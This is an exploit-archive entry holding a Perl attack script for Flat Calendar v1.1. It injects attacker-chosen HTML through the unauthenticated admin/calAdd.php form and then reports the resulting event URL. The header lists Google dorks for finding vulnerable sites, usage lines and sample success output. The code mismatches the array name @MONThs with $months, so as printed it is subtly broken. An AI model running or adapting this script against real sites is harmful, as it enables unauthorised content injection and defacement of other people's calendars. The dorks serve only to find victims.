Flat Calendar 1.1 - HTML Injection Exploit

[Aerosol]

#!/usr/bin/perl -w
#Title      : Flat Calendar v1.1 HTML Injection Exploit
#Download   : http://www.circulargenius.com/flatcalendar/FlatCalendar-v1.1.zip
#Author     : ZoRLu / zorlu@milw00rm.com
#Website    : http://milw00rm.com / its online
#Twitter    : https://twitter.com/milw00rm or @milw00rm
#Test       : Windows7 Ultimate
#Date       : 08/12/2014
#Thks       : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
#BkiAdam    : Dr.Ly0n, KnocKout, LifeSteaLeR, Nicx (harf sirali  )
#Dork1      : intext:"Flat Calendar is powered by Flat File DB"
#Dork2      : inurl:"viewEvent.php?eventNumber="
#
#C:\Users\admin\Desktop>perl flat.pl
#
#Usage: perl flat.pl http://server /calender_path/ indexfile nickname
#Exam1: perl flat.pl http://server / index.html ZoRLu
#Exam2: perl flat.pl http://server /calendar/ index.html ZoRLu
#
#C:\Users\admin\Desktop>perl flat.pl http://server /member_content/diaries/womens/calendar/ index.html ZoRLu
#
#[+] Target: http://server
#[+] Path: /member_content/diaries/womens/calendar/
#[+] index: index.html
#[+] Nick: ZoRLu
#[+] Exploit Succes
#[+] Searching url...
#[+] YourEventNumber = 709
#[+] http://server/member_content/diaries/womens/calendar/viewEvent.php?eventNumber=709

use HTTP::Request::Common qw( POST );
use LWP::UserAgent;
use IO::Socket;
use strict;
use warnings;

sub hlp() {

system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print "\nUsage: perl $0 http://server /calender_path/ indexfile nickname\n";
print "Exam1: perl $0 http://server / index.html ZoRLu\n";
print "Exam2: perl $0 http://server /calendar/ index.html ZoRLu\n";

}

if(@ARGV != 4)  {

hlp();
exit();

}

my $ua = LWP::UserAgent->new; 
my $url = $ARGV[0];
my $path = $ARGV[1];
my $index = $ARGV[2];
my $nick = $ARGV[3];
my $vuln = $url . $path . "admin/calAdd.php";

print "\n[+] Target: ".$url."\n";
print "[+] Path: ".$path."\n";
print "[+] index: ".$index."\n";
print "[+] Nick: ".$nick."\n";

my @MONThs = qw(January February March April May June July August September October November December);
my ($day, $month, $yearset) = (localtime)[3,4,5];
my $year = 1900 + $yearset;
my $moon = $months[$month];

if (open(my $fh, $index)) {

while (my $row = <$fh>) {
chomp $row;

my $req = POST $vuln, [
   event => 'Test Page',
   description => $row,
   month => $moon,
   day => $day,
   year => $year,
   submitted => $nick,
];


my $resp = $ua->request($req);
if ($resp->is_success) {
    my $message = $resp->decoded_content;
    my $regex = "Record Added: taking you back";
    if ($message =~ /$regex/) {
    print "[+] Exploit Succes\n";

    my $newua = LWP::UserAgent->new( );
    my $newurl = $url . $path . "calendar.php";
    my $newreq = $newua->get($newurl);
    if ($newreq->is_success) {
    my $newmessage = $newreq->decoded_content;

    my $first = rindex($newmessage,"viewEvent.php?eventNumber=");
               print "[+] Searching url...\n";
         my $request = substr($newmessage, $first+26, 4);
         print "[+] YourEventNumber = $request\n";
         sleep(1);
         print "[+] ".$url.$path."viewEvent.php?eventNumber=".$request."\n";

         }

else {
    print "[-] HTTP POST error code: ", $newreq->code, "\n";
    print "[-] HTTP POST error message: ", $newreq->message, "\n";
}

    }
    else {

    print "[-] Exploit Failed";

    }
}
else {
    print "[-] HTTP POST error code: ", $resp->code, "\n";
    print "[-] HTTP POST error message: ", $resp->message, "\n";
  }
 }
}
else { 

sleep(1);
die ("[-] NotFound: $index\n");

}

Source